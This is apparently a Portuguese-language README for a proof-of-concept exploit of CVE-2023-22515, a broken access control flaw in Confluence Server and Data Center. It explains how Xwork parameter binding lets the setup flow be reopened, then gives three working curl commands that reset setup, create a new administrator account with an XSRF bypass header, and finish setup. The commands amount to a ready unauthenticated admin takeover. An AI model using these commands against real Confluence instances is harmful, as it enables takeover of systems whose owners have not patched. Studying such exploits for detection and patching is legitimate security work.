j3seer/cve-2023-22515-pocExploit de prova de conceito para CVE-2023-22515, uma vulnerabilidade crítica de controle de acesso quebrado no Confluence Server e Data Center, permitindo tomada de controle administrativo não autenticada.
CVE-2023-22515, uma vulnerabilidade crítica que afeta instâncias locais do Confluence Server e Confluence Data Center, é uma vulnerabilidade de controle de acesso quebrado. A Atlassian atribuiu uma pontuação base CVSS de 10.0.
1- Devido à forma como os interceptadores Xwork analisam parâmetros, /test.action?one=a equivale a setOne()='a' e alternativamente /test.action?one.two=a equivale a getOne().setTwo()="a"
2- Os endpoints /setup/* incluem uma chamada @ParameterSafe que nos permite usar set e get como em , porém, como os endpoints estão bloqueados porque a configuração está concluída, o endpoint pode ser utilizado.
/setup/setupdb.action?dbConfigInfo.databaseType=postgresql/setup/*/server-info.action3- Encontre o método set para concluir a configuração => getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false);
4- Use o cabeçalho "X-Atlassian-Token" para contornar o XSRF
curl http://localhost/server-info.action\?bootstrapStatusProvider.applicationConfig.setupComplete\=false\;
curl -X POST -H "X-Atlassian-Token: no-check" -d "username=haxor&fullName=leet&[email protected]&password=leet&confirm=leet&setup-next-button=Next" http://localhost/setup/setupadministrator.action\;
curl -X POST -H "X-Atlassian-Token: no-check" http://localhost/setup/finishsetup.action
AVISO: O exploit não foi descoberto ou criado por mim; o crédito vai para os artigos abaixo